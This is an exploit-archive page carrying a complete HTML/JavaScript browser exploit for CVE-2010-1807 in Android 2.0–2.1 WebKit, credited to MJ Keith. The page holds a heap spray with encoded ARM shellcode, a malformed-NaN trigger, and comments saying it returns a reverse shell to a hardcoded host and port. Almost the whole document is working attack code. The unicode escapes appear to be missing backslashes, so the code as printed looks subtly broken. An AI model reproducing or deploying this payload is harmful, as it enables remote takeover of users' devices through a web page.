Android 2.0-2.1 Reverse Shell Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Android 2.0-2.1 Reverse Shell Exploit
# Published : 2010-11-05
# Author : MJ Keith
# Previous Title : Home FTP Server v1.11.1.149 RETR DELE RMD Remote Directory Traversal Exploit
# Next Title : Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit
<html>
<head>
<script>
// bug   =  webkit code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
//           listed as a safari bug but also works on android :)
//tested =  moto droid 2.0.1 , moto droid 2.1 , emulater 2.0 - 2.1
//patched=  android 2.2
//author =   mj
// hardcoded to return a shell to 10.0.2.2 port 2222
//
function sploit(pop)
        {
        var span = document.createElement("div");
        document.getElementById("pwn").appendChild(span);
        span.innerHTML = pop;
        }
function heap()
        {       
        var scode = unescape("u3c84u0057u3c80u0057u3c7cu0057u3c78u0057u3c74u0057u3c70u0057u3c6cu0057u3c68u0057u3c64u0057u3c60u0057u3c5cu0057u3c58u0057u3c54u0057u3c50u0057u3c4cu0057u3c48u0057u3c44u0057u3c40u0057u3c3cu0057u3c38u0057u3c34u0057u3c30u0057u3c2cu0057u3c28u0057u3c24u0057u3c20u0057u3c1cu0057u3c18u0057u3c14u0057u3c10u0057u3c0cu0057u3c08u0057u3c04u0057u3bfcu0057u3bfcu0057u3bf8u0057u3bf4u0057u3bf0u0057u3becu0057u3be8u0057u3be4u0057u3be0u0057u3bdcu0057u3bd8u0057u3bd4u0057u3bd0u0057u3bccu0057u3bc8u0057u3bc4u0057u3bc0u0057u3bbcu0057u3bb8u0057u3bb4u0057u3bb0u0057u3bacu0057u3ba8u0057u3ba4u0057u3ba0u0057u3b9cu0057u3b98u0057u3b94u0057u3b90u0057u3b8cu0057u3b88u0057u3b84u0057u3b80u0057u3b7cu0057u3b78u0057u3b74u0057u3b70u0057u3b6cu0057u3b68u0057u3b64u0057u3b60u0057u3b5cu0057u3b58u0057u3b54u0057u3b50u0057u3b4cu0057u3b48u0057u3b44u0057u3b40u0057u3b3cu0057u3b38u0057u3b34u0057u3b30u0057u3b2cu0057u3b28u0057u3b24u0057u3b20u0057u3b1cu0057u3b18u0057u3b14u0057u3b10u0057u3b0cu0057u3b08u0057u3b04u0057u3afcu0057u3afcu0057u3af8u0057u3af4u0057u3af0u0057u3aecu0057u3ae8u0057u3ae4u0057u3ae0u0057u3adcu0057u3ad8u0057u3ad4u0057u3ad0u0057u3accu0057u3ac8u0057u3ac4u0057u3ac0u0057u3abcu0057u3ab8u0057u3ab4u0057u3ab0u0057u3aacu0057u3aa8u0057u3aa4u0057u3aa0u0057u3a9cu0057u3a98u0057u3a94u0057u3a90u0057u3a8cu0057u3a88u0057u3a84u0057u3a80u0057u3a7cu0057u3a78u0057u3a74u0057u3a70u0057u3a6cu0057u3a68u0057u3a64u0057u3a60u0057u3a5cu0057u3a58u0057u3a54u0057u3a50u0057u3a4cu0057u3a48u0057u3a44u0057u3a40u0057u3a3cu0057u3a38u0057u3a34u0057u3a30u0057u3a2cu0057u3a28u0057u3a24u0057u3a20u0057u3a1cu0057u3a18u0057u3a14u0057u3a10u0057u3a0cu0057u3a08u0057u3a04u0057u39fcu0057u39fcu0057u39f8u0057u39f4u0057u39f0u0057u39ecu0057u39e8u0057u39e4u0057u39e0u0057u39dcu0057u39d8u0057u39d4u0057u39d0u0057u39ccu0057u39c8u0057u39c4u0057u39c0u0057u39bcu0057u39b8u0057u39b4u0057u39b0u0057u39acu0057u39a8u0057u39a4u0057u39a0u0057u399cu0057u3998u0057u3994u0057u3990u0057u398cu0057u3988u0057u3984u0057u3980u0057u397cu0057u3978u0057u3974u0057u3970u0057u396cu0057u3968u0057u3964u0057u3960u0057u395cu0057u3958u0057u3954u0057u3950u0057u394cu0057u3948u0057u3944u0057u3940u0057u393cu0057u3938u0057u3934u0057u3930u0057u392cu0057u3928u0057u3924u0057u3920u0057u391cu0057u3918u0057u3914u0057u3910u0057u390cu0057u3908u0057u3904u0057u38fcu0057u38fcu0057u38f8u0057u38f4u0057u38f0u0057u38ecu0057u38e8u0057u38e4u0057u38e0u0057u38dcu0057u38d8u0057u38d4u0057u38d0u0057u38ccu0057u38c8u0057u38c4u0057u38c0u0057u38bcu0057u38b8u0057u38b4u0057u38b0u0057u38acu0057u38a8u0057u38a4u0057u38a0u0057u389cu0057u3898u0057u3894u0057u3890u0057u388cu0057u3888u0057u3884u0057u3880u0057u387cu0057u3878u0057u3874u0057u3870u0057u386cu0057u3868u0057u3864u0057u3860u0057u385cu0057u3858u0057u3854u0057u3850u0057u384cu0057u3848u0057u3844u0057u3840u0057u383cu0057u3838u0057u3834u0057u3830u0057u382cu0057u3828u0057u3824u0057u3820u0057u381cu0057u3818u0057u3814u0057u3810u0057u380cu0057u3808u0057u3804u0057u37fcu0057u37fcu0057u37f8u0057u37f4u0057u37f0u0057u37ecu0057u37e8u0057u37e4u0057u37e0u0057u37dcu0057u37d8u0057u37d4u0057u37d0u0057u37ccu0057u37c8u0057u37c4u0057u37c0u0057u37bcu0057u37b8u0057u37b4u0057u37b0u0057u37acu0057u37a8u0057u37a4u0057u37a0u0057u379cu0057u3798u0057u3794u0057u3790u0057u378cu0057u3788u0057u3784u0057u3780u0057u377cu0057u3778u0057u3774u0057u3770u0057u376cu0057u3768u0057u3764u0057u3760u0057u375cu0057u3758u0057u3754u0057u3750u0057u374cu0057u3748u0057u3744u0057u3740u0057u373cu0057u3738u0057u3734u0057u3730u0057u372cu0057u3728u0057u3724u0057u3720u0057u371cu0057u3718u0057u3714u0057u3710u0057u370cu0057u3708u0057u3704u0057u36fcu0057u36fcu0057u36f8u0057u36f4u0057u36f0u0057u36ecu0057u36e8u0057u36e4u0057u36e0u0057u36dcu0057u36d8u0057u36d4u0057u36d0u0057u36ccu0057u36c8u0057u36c4u0057u36c0u0057u36bcu0057u36b8u0057u36b4u0057u36b0u0057u36acu0057u36a8u0057u36a4u0057u36a0u0057u369cu0057u3698u0057u3694u0057u3690u0057u368cu0057u3688u0057u3684u0057u3680u0057u367cu0057u3678u0057u3674u0057u3670u0057u366cu0057u3668u0057u3664u0057u3660u0057u365cu0057u3658u0057u3654u0057u3650u0057u364cu0057u3648u0057u3644u0057u3640u0057u363cu0057u3638u0057u3634u0057u3630u0057u362cu0057u3628u0057u3624u0057u3620u0057u361cu0057u3618u0057u3614u0057u3610u0057u360cu0057u3608u0057u3604u0057u35fcu0057u35fcu0057u35f8u0057u35f4u0057u35f0u0057u35ecu0057u35e8u0057u35e4u0057u35e0u0057u35dcu0057u35d8u0057u35d4u0057u35d0u0057u35ccu0057u35c8u0057u35c4u0057u35c0u0057u35bcu0057u35b8u0057u35b4u0057u35b0u0057u35acu0057u35a8u0057u35a4u0057u35a0u0057u359cu0057u3598u0057u3594u0057u3590u0057u358cu0057u3588u0057u3584u0057u3580u0057u357cu0057u3578u0057u3574u0057u3570u0057u356cu0057u3568u0057u3564u0057u3560u0057u355cu0057u3558u0057u3554u0057u3550u0057u354cu0057u3548u0057u3544u0057u3540u0057u353cu0057u3538u0057u3534u0057u3530u0057u352cu0057u3528u0057u3524u0057u3520u0057u351cu0057u3518u0057u3514u0057u3510u0057u350cu0057u3508u0057u3504u0057u34fcu0057u34fcu0057u34f8u0057u34f4u0057u34f0u0057u34ecu0057u34e8u0057u34e4u0057u34e0u0057u34dcu0057u34d8u0057u34d4u0057u34d0u0057u34ccu0057u34c8u0057u34c4u0057u34c0u0057u34bcu0057u34b8u0057u34b4u0057u34b0u0057u34acu0057u34a8u0057u34a4u0057u34a0u0057u349cu0057u3498u0057u3494u0057u3490u0057u348cu0057u3488u0057u3484u0057u3480u0057u347cu0057u3478u0057u3474u0057u3470u0057u346cu0057u3468u0057u3464u0057u3460u0057u345cu0057u3458u0057u3454u0057u3450u0057u344cu0057u3448u0057u3444u0057u3440u0057u343cu0057u3438u0057u3434u0057u3430u0057u342cu0057u3428u0057u3424u0057u3420u0057u341cu0057u3418u0057u3414u0057u3410u0057u340cu0057u3408u0057u3404u0057u33fcu0057u33fcu0057u33f8u0057u33f4u0057u33f0u0057u33ecu0057u33e8u0057u33e4u0057u33e0u0057u33dcu0057u33d8u0057u33d4u0057u33d0u0057u33ccu0057u33c8u0057u33c4u0057u33c0u0057u33bcu0057u33b8u0057u33b4u0057u33b0u0057u33acu0057u33a8u0057u33a4u0057u33a0u0057u339cu0057u3398u0057u3394u0057u3390u0057u338cu0057u3388u0057u3384u0057u3380u0057u337cu0057u3378u0057u3374u0057u3370u0057u336cu0057u3368u0057u3364u0057u3360u0057u335cu0057u3358u0057u3354u0057u3350u0057u334cu0057u3348u0057u3344u0057u3340u0057u333cu0057u3338u0057u3334u0057u3330u0057u332cu0057u3328u0057u3324u0057u3320u0057u331cu0057u3318u0057u3314u0057u3310u0057u330cu0057u3308u0057u3304u0057u32fcu0057u32fcu0057u32f8u0057u32f4u0057u32f0u0057u32ecu0057u32e8u0057u32e4u0057u32e0u0057u32dcu0057u32d8u0057u32d4u0057u32d0u0057u32ccu0057u32c8u0057u32c4u0057u32c0u0057u32bcu0057u32b8u0057u32b4u0057u32b0u0057u32acu0057u32a8u0057u32a4u0057u32a0u0057u329cu0057u3298u0057u3294u0057u3290u0057u328cu0057u3288u0057u3284u0057u3280u0057u327cu0057u3278u0057u3274u0057u3270u0057u326cu0057u3268u0057u3264u0057u3260u0057u325cu0057u3258u0057u3254u0057u3250u0057u324cu0057u3248u0057u3244u0057u3240u0057u323cu0057u3238u0057u3234u0057u3230u0057u322cu0057u3228u0057u3224u0057u3220u0057u321cu0057u3218u0057u3214u0057u3210u0057u320cu0057u3208u0057u3204u0057u31fcu0057u31fcu0057u31f8u0057u31f4u0057u31f0u0057u31ecu0057u31e8u0057u31e4u0057u31e0u0057u31dcu0057u31d8u0057u31d4u0057u31d0u0057u31ccu0057u31c8u0057u31c4u0057u31c0u0057u31bcu0057u31b8u0057u31b4u0057u31b0u0057u31acu0057u31a8u0057u31a4u0057u31a0u0057u319cu0057u3198u0057u3194u0057u3190u0057u318cu0057u3188u0057u3184u0057u3180u0057u317cu0057u3178u0057u3174u0057u3170u0057u316cu0057u3168u0057u3164u0057u3160u0057u315cu0057u3158u0057u3154u0057u3150u0057u314cu0057u3148u0057u3144u0057u3140u0057u313cu0057u3138u0057u3134u0057u3130u0057u312cu0057u3128u0057u3124u0057u3120u0057u311cu0057u3118u0057u3114u0057u3110u0057u310cu0057u3108u0057u3104u0057u30fcu0057u30fcu0057u30f8u0057u30f4u0057u30f0u0057u30ecu0057u30e8u0057u30e4u0057u30e0u0057u30dcu0057u30d8u0057u30d4u0057u30d0u0057u30ccu0057u30c8u0057u30c4u0057u30c0u0057u30bcu0057u30b8u0057u30b4u0057u30b0u0057u30acu0057u30a8u0057u30a4u0057u30a0u0057u309cu0057u3098u0057u3094u0057u3090u0057u308cu0057u3088u0057u3084u0057u3080u0057u307cu0057u3078u0057u3074u0057u3070u0057u306cu0057u3068u0057u3064u0057u3060u0057u305cu0057u3058u0057u3054u0057u3050u0057u304cu0057u3048u0057u3044u0057u3040u0057u303cu0057u3038u0057u3034u0057u3030u0057u302cu0057u3028u0057u3024u0057u3020u0057u301cu0057u3018u0057u3014u0057u3010u0057u300cu0057u3008u0057u3004u0057u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u1001ue1a0u0002ue3a0u1001ue3a0u2005ue281u708cue3a0u708due287u0080uef00u6000ue1a0u1084ue28fu2010ue3a0u708due3a0u708eue287u0080uef00u0006ue1a0u1000ue3a0u703fue3a0u0080uef00u0006ue1a0u1001ue3a0u703fue3a0u0080uef00u0006ue1a0u1002ue3a0u703fue3a0u0080uef00u2001ue28fuff12ue12fu4040u2717udf80ua005ua508u4076u602eu1b6dub420ub401u4669u4052u270budf80u2f2fu732fu7379u6574u2f6du6962u2f6eu6873u2000u2000u2000u2000u2000u2000u2000u2000u2000u2000u0002uae08u000au0202u2000u2000")
        do {
          scode += scode;
        } while(scode.length < 0x1000);
        target = new Array();
        for(i = 0; i < 1000; i++)
           target[i] = scode;
        for (i = 0; i <= 1000; i++)
        {
                if (i>999)
        {
        sploit(-parseFloat("NAN(ffffe00572c60)"));
        }
        document.write("The targets!! " + target[i]);
        document.write("<br />");
        }
}
</script>
</head>
<body id="pwn">
woot
<script>
heap();
</script>
</body>
</html>